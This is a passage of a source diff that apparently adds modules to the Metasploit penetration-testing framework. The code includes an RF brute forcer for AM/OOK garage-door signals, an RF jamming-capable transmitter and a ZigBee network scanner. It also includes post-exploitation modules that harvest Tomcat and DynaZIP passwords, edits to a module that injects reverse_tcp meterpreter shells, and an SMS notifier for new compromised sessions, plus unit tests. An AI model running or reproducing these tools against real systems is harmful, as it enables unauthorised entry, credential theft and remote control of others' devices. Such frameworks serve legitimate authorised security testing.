Msf::Post + + include Msf::Post::Hardware::RFTransceiver::RFTransceiver + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Brute Force AM/OOK (ie: Garage Doors)', + 'Description' => %q{ Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw + binary signals. This is a port of the LegacySecurityGroup.com rfpwnon tool. + (https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py) + }, + 'License' => MSF_LICENSE, + 'Author' => ['Craig Smith'], + 'Platform' => ['hardware'], + 'SessionTypes' => ['hwbridge'] + )) + register_options([ + OptInt.new('FREQ', [true, "Frequency to transmit on"]), + OptInt.new('BAUD', [false, "Baud rate to use", 2000]), + OptInt.new('BINLENGTH', [false, "Binary Length of signal to brute force", 8]), + OptInt.new('REPEAT', [false, "Number of times to repeat the signal", 5]), + OptString.new('PPAD', [false, "Specify your own binary padding before the brute forced binary", nil]), + OptString.new('TPAD', [false, "Specify your own binary padding after the brute forced binary", nil]), + OptBool.new('RAW', [false, "When set, disables PWM encoding. BINLENGTH must be -1", false]), + OptBool.new('TRI', [false, "When set, brute foces a trinary signal.", false]), + OptBool.new('EXTRAVERBOSE', [false, "More verbose", false]), + OptInt.new('INDEX', [false, "USB Index to use", 0]), + OptInt.new('DELAY', [false, "Delay in milliseconds between transmissions", 500]) + ], self.class) + @zeropwm = "1110" + @onepwm = "1000" + @brutechar = "01" + end + + # @param key [String] binary/trinary represntation + # @return [Array] ByteArray + def convert_ook(key) + pwm_str_key = "" + key.each_char do |k| + x = "*" + case k + when "0" + x = @zeropwm + when "1" + x = @onepwm + when "2" + x = @twopwm + end + pwm_str_key += x + end + return pwm_str_key.scan(/.{1,8}/).collect{|x| x.to_i(2).chr} + end + + def debruijn_bytes(k, n) + @a=[0] + @sequence = [] + debruijn(1, 1, k, n) + return @sequence.join + end + + def debruijn(t, p, k, n) + if t>n + if n%p==0 + 1.upto(p) {|j| @sequence<<@a[j]} + end + else + @a[t]=@a[t-p] + debruijn(t+1, p, k, n) + (@a[t-p]+1).upto(k-1) {|j| + @a[t]=j + debruijn(t+1, t, k, n) + } + end + end + + def run + unless is_rf? + print_error("Not an RF Transceiver") + return + end + unless set_index(datastore['INDEX']) + print_error("Couldn't set usb index to #{datastore['INDEX']}") + return + end + if datastore['TRI'] + @zeropwm = "10001000" + @onepwm = "11101110" + @twopwm = "10001110" + @brutechar = "012" + end + + set_modulation("ASK/OOK") + set_freq(datastore['FREQ']) + set_sync_mode(0) + set_baud(datastore['BAUD']) + max_power + + print_status("Generating de bruijn sequence...") + seq = debruijn_bytes(@brutechar.length, datastore['BINLENGTH']) + tail = seq[0, datastore['BINLENGTH']-1] + brutepacket = seq + tail + + print_status("Brute forcing frequency: #{datastore['FREQ']}") + print_status("Padding before binary: #{datastore['PPAD']}") if datastore['PPAD'] + print_status("Padding after binary: #{datastore['TPAD']}") if datastore['TPAD'] + print_status("De Bruijin Sequence: #{brutepacket}") if datastore['EXTRAVERBOSE'] + + startn = 0 + endy = 512 + brutepackettmp = "" + addr = 512 + if datastore['TRI'] + endy = 128 + addr = 128 + end + if datastore['REPEAT'] >= 2 || datastore['PPAD'] || datastore['TPAD'] + endy = datastore['BINLENGTH'] + addr = 1 + end + # Transmit + while startn < brutepacket.length + (0..datastore['REPEAT']-1).each do |i| + brutepackettemp = brutepacket[startn..endy-1] + next if brutepackettemp.length < datastore['BINLENGTH'] + # Pad if asked to + brutepackettemp = datastore['PPAD'] + brutepackettemp if datastore['PPAD'] + brutepackettemp += datastore['TPAD'] if datastore['TPAD'] + if datastore['RAW'] + key_packed = brutepackettemp.scan(/.{1,8}/).collect{|x| x.to_i(2).chr} + else + key_packed = convert_ook(brutepackettemp) + end + print_status("Transmitting...") + set_flen(key_packed.length) + rfxmit(key_packed.join) + print_status("Binary before PWM encoding:") + print_status("#{brutepackettemp}") + print_status("Binary after PWM encoding:") + print_status("#{key_packed.join.unpack("H*")[0].hex.to_s(2)}") + sleep(datastore['DELAY'] / 1000) if datastore['DELAY'] > 0 + end + if datastore['REPEAT'] >= 2 or datastore['PPAD'] or datastore['TPAD'] + startn += addr + endy += addr + else + startn = startn + addr - datastore['BINLENGTH'] + endy = endy + addr - datastore['BINLENGTH'] + end + end + print_status("Done") + set_mode("IDLE") + end + +end diff --git a/modules/post/hardware/rftransceiver/transmitter.rb b/modules/post/hardware/rftransceiver/transmitter.rb new file mode 100644 index 0000000000..d36533d56e --- /dev/null +++ b/modules/post/hardware/rftransceiver/transmitter.rb @@ -0,0 +1,60 @@ +class MetasploitModule < Msf::Post + + include Msf::Post::Hardware::RFTransceiver::RFTransceiver + + def initialize(info={}) + super( update_info( info, + 'Name' => 'RF Transceiver Transmitter', + 'Description' => %q{ + This module powers an HWBridge-connected radio transceiver, + effectively transmitting on the frequency set by the FREQ option. + + NOTE: Users of this module should be aware of their local laws, + regulations, and licensing requirements for transmitting on any + given radio frequency. + + }, + 'References' => + [ + ['URL', 'https://github.com/AndrewMohawk/RfCatHelpers'] + ], + 'License' => MSF_LICENSE, + 'Author' => ['Craig Smith'], + 'Platform' => ['hardware'], + 'SessionTypes' => ['hwbridge'] + )) + register_options([ + OptInt.new('FREQ', [true, "Frequency to transmit on"]), + OptInt.new('SECONDS', [false, "Seconds to transmit", 4]), + OptInt.new('BAUD', [false, "Baud rate to use", 4800]), + OptInt.new('POWER', [false, "Power level", 100]), + OptInt.new('INDEX', [false, "USB Index to use", 0]) + ], self.class) + + end + + def run + unless is_rf? + print_error("Not an RF Transceiver") + return + end + unless set_index(datastore['INDEX']) + print_error("Couldn't set usb index to #{datastore['INDEX']}") + return + end + set_modulation("ASK/OOK") + set_freq(datastore['FREQ']) + set_sync_mode(0) + set_baud(datastore['BAUD']) + set_channel_spc(24000) + set_mode("idle") + set_power(datastore['POWER']) + + print_status("Transmitting on #{datastore['FREQ']} for #{datastore['SECONDS']} seconds...") + set_mode("tx") + sleep(datastore['SECONDS']) + print_status("Finished transmitting") + set_mode("idle") + end + +end diff --git a/modules/post/hardware/zigbee/zstumbler.rb b/modules/post/hardware/zigbee/zstumbler.rb new file mode 100644 index 0000000000..074132a139 --- /dev/null +++ b/modules/post/hardware/zigbee/zstumbler.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/hardware/zigbee/utils' + +class MetasploitModule < Msf::Post + + include Msf::Post::Hardware::Zigbee::Utils + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Sends Beacons to Scan for Active ZigBee Networks', + 'Description' => %q{ Post Module to send beacon signals to the broadcast address while + channel hopping}, + 'License' => MSF_LICENSE, + 'Author' => ['Craig Smith'], + 'Platform' => ['hardware'], + 'SessionTypes' => ['hwbridge'] + )) + register_options([ + OptInt.new('CHANNEL', [false, "Disable channel hopping by forcing a channel (11-26)", nil]), + OptInt.new('LOOP', [false, "How many times to loop over the channels (-1 will run in an endless loop)", 1]), + OptInt.new('DELAY', [false, "Delay in seconds to listen on each channel", 2]), + OptString.new('DEVICE', [false, "ZigBee device ID, defaults to target device", nil]) + ], self.class) + @seq = 0 + @channel = 11 + @stumbled = {} + @loop_count = 0 + end + + def display_details(routerdata) + stackprofile_map = {0 => "Network Specific", + 1 => "ZigBee Standard", + 2 => "ZigBee Enterprise"} + stackver_map = {0 => "ZigBee Prototype", + 1 => "ZigBee 2004", + 2 => "ZigBee 2006/2007"} + spanid, source, extpanid, stackprofilever, channel = routerdata + stackprofilever = stackprofilever.unpack("H*")[0].hex + stackprofile = stackprofilever & 0x0f + stackver = (stackprofilever & 0xf0) >> 4 + profile = "Unknown" + profile = stackprofile_map[stackprofile] if stackprofile_map.has_key? stackprofile + ver = "Unknown" + ver = stackver_map[stackver] if stackver_map.has_key? stackver + print_status("New Network: PANID: 0x#{spanid.upcase} SOURCE: 0x#{source.upcase}") + print_status(" Ext PANID: #{extpanid.upcase.scan(/../).join(':')} Stack Profile: #{profile}") + print_status(" Stack Version: #{ver}") + print_status(" Channel: #{@channel}") + end + + def scan + @seq = 0 if @seq > 255 + print_status("Scanning Channel #{@channel}") + set_channel(datastore["DEVICE"], @channel) + beacon = "\x03\x08#{@seq.chr}\xff\xff\xff\xff\x07" + inject(datastore["DEVICE"], beacon) + delay = Time.now + datastore["DELAY"] + while delay > Time.now() + pkt = recv(datastore["DEVICE"]) + if pkt and pkt.size > 0 and pkt["valid_crc"] + pktdecode = dot154_packet_decode(pkt["data"]) + if (pktdecode["FSF"] & DOT154_FCF_TYPE_MASK) == DOT154_FCF_TYPE_BEACON + key = "#{pktdecode["SPAN_ID"]}#{pktdecode["SOURCE"]}" + value = [pktdecode["SPAN_ID"], pktdecode["SOURCE"], pktdecode["EXT_PAN_ID"], pktdecode["STACK_PROFILE"], @channel] + if not @stumbled.has_key? key + @stumbled[key] = value + display_details(value) + end + end + end + end + sniffer_off(datastore["DEVICE"]) # Needed to clear receive buffers + @seq += 1 + @channel += 1 if not datastore["CHANNEL"] + @loop_count += 1 if @channel > 26 or datastore["CHANNEL"] + @channel = 11 if @channel > 26 + end + + def run + if not get_target_device and not datastore["DEVICE"] + print_error "No target device set. Either set one with the 'target' command or specify the DEVICE." + return + end + @channel = datastore["CHANNEL"] if datastore["CHANNEL"] + @channel = 11 if @channel > 26 + if datastore["LOOP"] == -1 + while(1) do + scan + end + else + while(@loop_count < datastore["LOOP"]) + scan + end + end + end + +end diff --git a/modules/post/multi/gather/tomcat_gather.rb b/modules/post/multi/gather/tomcat_gather.rb new file mode 100644 index 0000000000..fbcaaa355e --- /dev/null +++ b/modules/post/multi/gather/tomcat_gather.rb @@ -0,0 +1,209 @@ +require 'msf/core' +require 'msf/core/auxiliary/report' + +class MetasploitModule < Msf::Post + + include Msf::Post::File + include Msf::Post::Windows::Services + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Gather Tomcat Credentials', + 'Description' => %q{ + This module will attempt to collect credentials from Tomcat services running on the machine. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Koen Riepe ', # Module author + ], + 'Platform' => [ 'win', 'linux' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + $username = [] + $password = [] + $port = [] + $paths = [] + + def report_creds(user, pass, port) + return if (user.empty? or pass.empty?) + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + post_reference_name: self.fullname, + private_data: pass, + private_type: :password, + session_id: session_db_id, + username: user, + workspace_id: myworkspace_id, + } + + credential_core = create_credential(credential_data) + + if not port.is_a? Integer + port = 8080 + print_status("Port not an Integer, defaulting to port #{port} for creds database") + end + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: port, + service_name: 'Tomcat', + protocol: 'tcp', + workspace_id: myworkspace_id + } + create_credential_login(login_data) + end + + def gatherwin + print_status('Windows OS detected, enumerating services') + tomcatHomeArray = [] + service_list.each do |service| + if service[:name].downcase().include? "tomcat" + print_good('Tomcat service found') + tomcatHomeArray.push(service_info(service[:name])[:path].split("\\bin\\")[0]) + end + end + + if tomcatHomeArray.size > 0 + tomcatHomeArray.each do |tomcat_home| + if tomcat_home.include? '"' + tomcat_home = tomcat_home.split('"')[1] + end + + conf_path = "#{tomcat_home}\\conf\\tomcat-users.xml" + + if exist?(conf_path) + print_status("#{conf_path} found!") + xml = read_file(conf_path).split("\n") + + comment_block = false + xml.each do |line| + if line.include? "") and comment_block + comment_block = false + end + end + end + + port_path = "#{tomcat_home}\\conf\\server.xml" + if exist?(port_path) + xml = read_file(port_path).split("\n") + end + comment_block = false + xml.each do |line| + if line.include? "") and comment_block + comment_block = false + end + end + end + else + print_status('No Tomcat home can be determined') + end + end + + def gathernix + print_status('Unix OS detected') + user_files = cmd_exec('locate tomcat-users.xml').split("\n") + if user_files.size > 0 + user_files.each do |path| + if exist?(path) + print_status("#{path} found") + begin + xml = read_file(path).split("\n") + comment_block = false + xml.each do |line| + if line.include? "") and comment_block + comment_block = false + end + end + rescue + print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed.") + end + end + end + else + print_status('No tomcat installation has been detected') + end + + port_path = cmd_exec('locate server.xml').split("\n") + if port_path.size > 0 + port_path.each do |path| + if exist?(path) and path.include? "tomcat" + print_status("Attempting to extract Tomcat listening ports from #{path}") + begin + xml = read_file(path).split("\n") + comment_block = false + xml.each do |line| + if line.include? "") and comment_block + comment_block = false + end + end + rescue + print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed.") + end + end + end + else + print_status('Failed to detect tomcat service port') + end + end + + def run + if sysinfo + if sysinfo['OS'].include? "Windows" + gatherwin + else + gathernix + end + else + print_error('Incompatible session type, sysinfo is not available.') + end + + if $username.size == 0 + print_status("No user credentials have been found") + end + + i=0 + while i < $username.count + print_good("Username and password found in #{$paths[i]} - #{$username[i]}:#{$password[i]}") + report_creds($username[i],$password[i],$port[i]) + i+=1 + end + + $username = [] + $password = [] + $port = [] + $paths = [] + end +end diff --git a/modules/post/windows/gather/credentials/dynazip_log.rb b/modules/post/windows/gather/credentials/dynazip_log.rb new file mode 100644 index 0000000000..718388806f --- /dev/null +++ b/modules/post/windows/gather/credentials/dynazip_log.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + include Msf::Post::File + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Gather DynaZIP Saved Password Extraction', + 'Description' => %q{ + This module extracts clear text credentials from dynazip.log. + The log file contains passwords used to encrypt compressed zip + files in Microsoft Plus! 98 and Windows Me. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Brendan Coles '], + 'References' => + [ + ['CVE', '2001-0152'], + ['MSB', 'MS01-019'], + ['PACKETSTORM', '24543'], + ['URL', 'https://support.microsoft.com/en-us/kb/265131'] + ], + 'DisclosureDate' => 'Mar 27 2001', + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter', 'shell'] + )) + end + + def run + creds = [] + + log_path = "#{get_env("%WINDIR%")}\\dynazip.log" + + unless file?(log_path) + print_error("#{log_path} not found") + return + end + + print_good("Found DynaZip log file: #{log_path}") + + begin + log_data = read_file(log_path) + rescue EOFError + print_error('Log file is empty') + return + end + + vprint_status("Processing log file (#{log_data.length} bytes)") + + log_data.split('- DynaZIP ZIP Diagnostic Log -').each do |log| + + if log =~ /^lpszZIPFile: 0x[0-9a-f]+\s*?^(.+)\r\n/ + zip_path = $1 + else + next + end + + vprint_status("Processing log entry for #{zip_path}") + + # The lpszEncryptCode appears to always be 0x712185d4 however + # we use a hex regex pattern, just in case. + # The line following the lpszEncryptCode contains the password. + passwd = log.scan(/^lpszEncryptCode: 0x[0-9a-f]+\s*?^(.+)?\r\n/).flatten.first + + # In the event that the user selected a blank encryption password + # the ZIP file is not encrypted, however an empty line is written + # to the log file. + if passwd.to_s.eql?('') + vprint_status('Did not find a password') + next + end + + print_good("File: '#{zip_path}' -- Password: '#{passwd}'") + creds << [zip_path, passwd] + end + + if creds.empty? + print_error('No passwords were found in the log file') + return + end + + table = Rex::Text::Table.new( + 'Header' => 'ZIP Passwords', + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => ['File Path', 'Password'] + ) + creds.each {|c| table << c } + print_line + print_line(table.to_s) + end +end diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 8721fcfad3..bc372fc2ae 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -30,8 +30,8 @@ class MetasploitModule < Msf::Post [ OptString.new('PAYLOAD', [false, 'Payload to inject in to process memory', "windows/meterpreter/reverse_tcp"]), OptInt.new('LPORT', [false, 'Port number for the payload LPORT variable.', 4444]), - OptString.new('IPLIST', [true, 'List of semicolom separated IP list.', Rex::Socket.source_address("1.2.3.4")]), - OptString.new('PIDLIST', [false, 'List of semicolom separated PID list.', '']), + OptString.new('IPLIST', [true, 'List of semicolon separated IP list.', Rex::Socket.source_address("1.2.3.4")]), + OptString.new('PIDLIST', [false, 'List of semicolon separated PID list.', '']), OptBool.new('HANDLER', [false, 'Start new exploit/multi/handler job on local box.', false]), OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1]) ], self.class) diff --git a/modules/post/windows/manage/run_as_psh.rb b/modules/post/windows/manage/run_as_psh.rb index 6852130602..e70a50606f 100644 --- a/modules/post/windows/manage/run_as_psh.rb +++ b/modules/post/windows/manage/run_as_psh.rb @@ -16,9 +16,9 @@ class MetasploitModule < Msf::Post 'Name' => 'Windows \'Run As\' Using Powershell', 'Description' => %q( This module will start a process as another user using powershell. ), 'License' => MSF_LICENSE, - 'Author' => [ 'p3nt4' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] + 'Author' => ['p3nt4'], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'] ) ) register_options( @@ -41,28 +41,32 @@ class MetasploitModule < Msf::Post user = datastore['user'] pass = datastore['pass'] domain = datastore['domain'] - exe = datastore['exe'].gsub("\\", "\\\\\\\\") + exe = datastore['exe'].gsub('\\', '\\\\\\\\') inter = datastore['interactive'] args = datastore['args'] - path = datastore['path'].gsub("\\", "\\\\\\\\") + path = datastore['path'].gsub('\\', '\\\\\\\\') channelized = datastore['channelize'] hidden = datastore['hidden'] + if user.include? '\\' + domain = user.split('\\')[0] + user = user.split('\\')[1] + end # Check if session is interactive - if (!session.interacting and inter) - print_error("Interactive mode can only be used in a meterpreter console") + if !session.interacting && inter + print_error('Interactive mode can only be used in a meterpreter console') print_error("Use 'run post/windows/manage/run_as_psh USER=x PASS=X EXE=X' or 'SET INTERACTIVE false'") raise 'Invalide console' end # Prepare powershell script scr = "$pw = convertto-securestring '#{pass}' -asplaintext -force; " - scr << "$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist '#{domain}\\\\#{user}',$pw; " + scr << "$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist '#{domain}\\#{user}',$pw; " scr << "Start-process '#{exe}' -WorkingDirectory '#{path}' -Credential $pp" - if (args and args != '') + if args && args != '' scr << " -argumentlist '#{args}' " end if hidden - print_status("Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false") - scr << " -WindowStyle hidden" + print_status('Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false') + scr << ' -WindowStyle hidden' end scr = " -c \"#{scr}\"" # Execute script @@ -75,12 +79,12 @@ class MetasploitModule < Msf::Post 'InMemory' => false, 'UseThreadToken' => false) print_status("Process #{p.pid} created.") - print_status("Channel #{p.channel.cid} created.") if (p.channel) + print_status("Channel #{p.channel.cid} created.") if p.channel # Process output - if (inter and p.channel) + if inter && p.channel client.console.interact_with_channel(p.channel) elsif p.channel - data = p.channel.read() + data = p.channel.read print_line(data) if data end end diff --git a/plugins/session_notifier.rb b/plugins/session_notifier.rb new file mode 100644 index 0000000000..63977fe0d0 --- /dev/null +++ b/plugins/session_notifier.rb @@ -0,0 +1,255 @@ +module Msf + class Plugin::SessionNotifier < Msf::Plugin + + include Msf::SessionEvent + + class Exception < ::RuntimeError ; end + + class SessionNotifierCommandDispatcher + + include Msf::Ui::Console::CommandDispatcher + + attr_reader :sms_client + attr_reader :sms_carrier + attr_reader :sms_number + attr_reader :smtp_address + attr_reader :smtp_port + attr_reader :smtp_username + attr_reader :smtp_password + attr_reader :smtp_from + attr_reader :minimum_ip + attr_reader :maximum_ip + + def name + 'SessionNotifier' + end + + def commands + { + 'set_session_smtp_address' => 'Set the SMTP address for the session notifier', + 'set_session_smtp_port' => 'Set the SMTP port for the session notifier', + 'set_session_smtp_username' => 'Set the SMTP username', + 'set_session_smtp_password' => 'Set the SMTP password', + 'set_session_smtp_from' => 'Set the from field of SMTP', + 'set_session_mobile_number' => 'Set the 10-digit mobile number you want to notify', + 'set_session_mobile_carrier' => 'Set the mobile carrier of the phone', + 'set_session_minimum_ip' => 'Set the minimum session IP range you want to be notified for', + 'set_session_maximum_ip' => 'Set the maximum session IP range you want to be notified for', + 'save_session_notifier_settings' => 'Save all the session notifier settings to framework', + 'start_session_notifier' => 'Start notifying sessions', + 'stop_session_notifier' => 'Stop notifying sessions', + 'restart_session_notifier' => 'Restart notifying sessions' + } + end + + def initialize(driver) + super(driver) + load_settings_from_config + end + + def cmd_set_session_smtp_address(*args) + @smtp_address = args[0] + end + + def cmd_set_session_smtp_port(*args) + port = args[0] + if port =~ /^\d+$/ + @smtp_port = args[0] + else + print_error('Invalid port setting. Must be a number.') + end + end + + def cmd_set_session_smtp_username(*args) + @smtp_username = args[0] + end + + def cmd_set_session_smtp_password(*args) + @smtp_password = args[0] + end + + def cmd_set_session_smtp_from(*args) + @smtp_from = args[0] + end + + def cmd_set_session_mobile_number(*args) + num = args[0] + if num =~ /^\d{10}$/ + @sms_number = args[0] + else + print_error('Invalid phone format. It should be a 10-digit number that looks like: XXXXXXXXXX') + end + end + + def cmd_set_session_mobile_carrier(*args) + @sms_carrier = args[0].to_sym + end + + def cmd_set_session_minimum_ip(*args) + ip = args[0] + if ip.blank? + @minimum_ip = nil + elsif Rex::Socket.dotted_ip?(ip) + @minimum_ip = IPAddr.new(ip) + else + print_error('Invalid IP format') + end + end + + def cmd_set_session_maximum_ip(*args) + ip = args[0] + if ip.blank? + @maximum_ip = nil + elsif Rex::Socket.self.dotted_ip?(ip) + @maximum_ip = IPAddr.new(ip) + else + print_error('Invalid IP format') + end + end + + def cmd_save_session_notifier_settings(*args) + save_settings_to_config + print_status("Session Notifier settings saved in config file.") + end + + def cmd_start_session_notifier(*args) + if is_session_notifier_subscribed? + print_status('You already have an active session notifier.') + return + end + + begin + validate_settings! + self.framework.events.add_session_subscriber(self) + smtp = Rex::Proto::Sms::Model::Smtp.new( + address: self.smtp_address, + port: self.smtp_port, + username: self.smtp_username, + password: self.smtp_password, + login_type: :login, + from: self.smtp_from + ) + @sms_client = Rex::Proto::Sms::Client.new(carrier: self.sms_carrier, smtp_server: smtp) + print_status("Session notification started.") + rescue Msf::Plugin::SessionNotifier::Exception, Rex::Proto::Sms::Exception => e + print_error(e.message) + end + end + + def cmd_stop_session_notifier(*args) + self.framework.events.remove_session_subscriber(self) + print_status("Session notification stopped.") + end + + def cmd_restart_session_notifier(*args) + cmd_stop_session_notifier(args) + cmd_start_session_notifier(args) + end + + def on_session_open(session) + subject = "You have a new #{session.type} session!" + msg = "#{session.tunnel_peer} (#{session.session_host}) #{session.info ? "\"#{session.info.to_s}\"" : nil}" + notify_session(session, subject, msg) + end + + private + + def save_settings_to_config + config_file = Msf::Config.config_file + ini = Rex::Parser::Ini.new(config_file) + ini.add_group(name) unless ini[name] + ini[name]['smtp_address'] = self.smtp_address + ini[name]['smtp_port'] = self.smtp_port + ini[name]['smtp_username'] = self.smtp_username + ini[name]['smtp_password'] = self.smtp_password + ini[name]['smtp_from'] = self.smtp_from + ini[name]['sms_number'] = self.sms_number + ini[name]['sms_carrier'] = self.sms_carrier + ini[name]['minimum_ip'] = self.minimum_ip.to_s unless self.minimum_ip.blank? + ini[name]['maximum_ip'] = self.maximum_ip.to_s unless self.maximum_ip.blank? + ini.to_file(config_file) + end + + def load_settings_from_config + config_file = Msf::Config.config_file + ini = Rex::Parser::Ini.new(config_file) + group = ini[name] + if group + @sms_carrier = group['sms_carrier'].to_sym if group['sms_carrier'] + @sms_number = group['sms_number'] if group['sms_number'] + @smtp_address = group['smtp_address'] if group['smtp_address'] + @smtp_port = group['smtp_port'] if group['smtp_port'] + @smtp_username = group['smtp_username'] if group['smtp_username'] + @smtp_password = group['smtp_password'] if group['smtp_password'] + @smtp_from = group['smtp_from'] if group['smtp_from'] + @minimum_ip = IPAddr.new(group['minimum_ip']) if group['minimum_ip'] + @maximum_ip = IPAddr.new(group['maximum_ip']) if group['maximum_ip'] + + print_status('Session Notifier settings loaded from config file.') + end + end + + def is_session_notifier_subscribed? + subscribers = framework.events.instance_variable_get(:@session_event_subscribers).collect { |s| s.class } + subscribers.include?(self.class) + end + + def notify_session(session, subject, msg) + if is_in_range?(session) + @sms_client.send_text_to_phones([self.sms_number], subject, msg) + print_status("Session notified to: #{self.sms_number}") + end + end + + def is_in_range?(session) + # If both blank, it means we're not setting a range. + return true if self.minimum_ip.blank? && self.maximum_ip.blank? + + ip = IPAddr.new(session.session_host) + + if self.minimum_ip && !self.maximum_ip + # There is only a minimum IP + self.minimum_ip < ip + elsif !self.minimum_ip && self.maximum_ip + # There is only a max IP + self.maximum_ip > ip + else + # Both ends are set + range = self.minimum_ip..self.maximum_ip + range.include?(ip) + end + end + + def validate_settings! + if self.smtp_address.nil? || self.smtp_port.nil? || + self.smtp_username.nil? || self.smtp_password.nil? || + self.smtp_from.nil? + raise Msf::Plugin::SessionNotifier::Exception, "All Session Notifier's settings must be configured." + end + end + + end + + def name + 'SessionNotifier' + end + + def initialize(framework, opts) + super + add_console_dispatcher(SessionNotifierCommandDispatcher) + end + + def cleanup + remove_console_dispatcher(name) + end + + def name + 'SessionNotifier' + end + + def desc + 'This plugin notifies you a new session via SMS.' + end + + end +end diff --git a/spec/lib/metasploit/framework/login_scanner/smb2_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb2_spec.rb new file mode 100644 index 0000000000..3d2b4fee06 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/smb2_spec.rb @@ -0,0 +1,91 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/smb2' + +RSpec.describe Metasploit::Framework::LoginScanner::SMB2 do + let(:public) { 'root' } + let(:private) { 'toor' } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + + context '#attempt_login' do + context 'when it cannot connect to the server' do + it 'returns a result with an UNABLE_TO_CONNECT status' do + expect(login_scanner).to receive(:connect).and_raise Rex::ConnectionError + expect(login_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + context 'when it can connect' do + before(:each) do + allow(login_scanner).to receive(:connect) + login_scanner.dispatcher = RubySMB::Dispatcher::Socket.new(StringIO.new) + end + + let(:success) { WindowsError::NTStatus::STATUS_SUCCESS } + let(:locked) { WindowsError::NTStatus::STATUS_ACCOUNT_LOCKED_OUT } + let(:fail) { WindowsError::NTStatus::STATUS_LOGON_FAILURE } + + it 'returns a result with SUCCESSFUL status if it succeeds' do + expect_any_instance_of(RubySMB::Client).to receive(:login).and_return(success) + expect(login_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + + it 'returns a result with LOCKED_OUT status if the account is locked' do + expect_any_instance_of(RubySMB::Client).to receive(:login).and_return(locked) + expect(login_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::LOCKED_OUT + end + + it 'returns a result with INCORRECT status if it fails' do + expect_any_instance_of(RubySMB::Client).to receive(:login).and_return(fail) + expect(login_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + + it 'returns the result with the credential the result is for' do + expect_any_instance_of(RubySMB::Client).to receive(:login).and_return(success) + expect(login_scanner.attempt_login(pub_pri).credential).to eq pub_pri + end + + it 'returns the result with the protocol set to tcp' do + expect_any_instance_of(RubySMB::Client).to receive(:login).and_return(success) + expect(login_scanner.attempt_login(pub_pri).protocol).to eq 'tcp' + end + + it 'returns the result with the service_name set to smb' do + expect_any_instance_of(RubySMB::Client).to receive(:login).and_return(success) + expect(login_scanner.attempt_login(pub_pri).service_name).to eq 'smb' + end + end + end + +end + diff --git a/spec/lib/rex/proto/sms/client_spec.rb b/spec/lib/rex/proto/sms/client_spec.rb index 688435497f..8ba71b0ed9 100644 --- a/spec/lib/rex/proto/sms/client_spec.rb +++ b/spec/lib/rex/proto/sms/client_spec.rb @@ -6,6 +6,8 @@ RSpec.describe Rex::Proto::Sms::Client do let(:phone_numbers) { ['1112223333'] } + let(:sms_subject) { 'subject' } + let(:message) { 'message' } let(:carrier) { :verizon } @@ -45,8 +47,8 @@ RSpec.describe Rex::Proto::Sms::Client do end it 'sends a text message' do - subject.send_text_to_phones(phone_numbers, message) - expect(@sent_message).to eq(message) + subject.send_text_to_phones(phone_numbers, sms_subject, message) + expect(@sent_message).to include(message) end end diff --git a/spec/lib/rex/proto/sms/model/message_spec.rb b/spec/lib/rex/proto/sms/model/message_spec.rb new file mode 100644 index 0000000000..c5ded81907 --- /dev/null +++ b/spec/lib/rex/proto/sms/model/message_spec.rb @@ -0,0 +1,44 @@ +require 'spec_helper' +require 'rex/proto/sms/model' + +RSpec.describe Rex::Proto::Sms::Model::Message do + + let(:message) { 'message' } + let(:from) { 'sender@example.com' } + let(:to) { 'receiver@example.com' } + let(:sms_subject) { 'subject' } + + subject do + described_class.new( + from: from, + to: to, + subject: sms_subject, + message: message, + ) + end + + describe '#initialize' do + it 'sets message' do + expect(subject.message).to eq(message) + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets to' do + expect(subject.to).to eq(to) + end + + it 'sets subject' do + expect(subject.subject).to eq(sms_subject) + end + end + + describe '#to_s' do + it 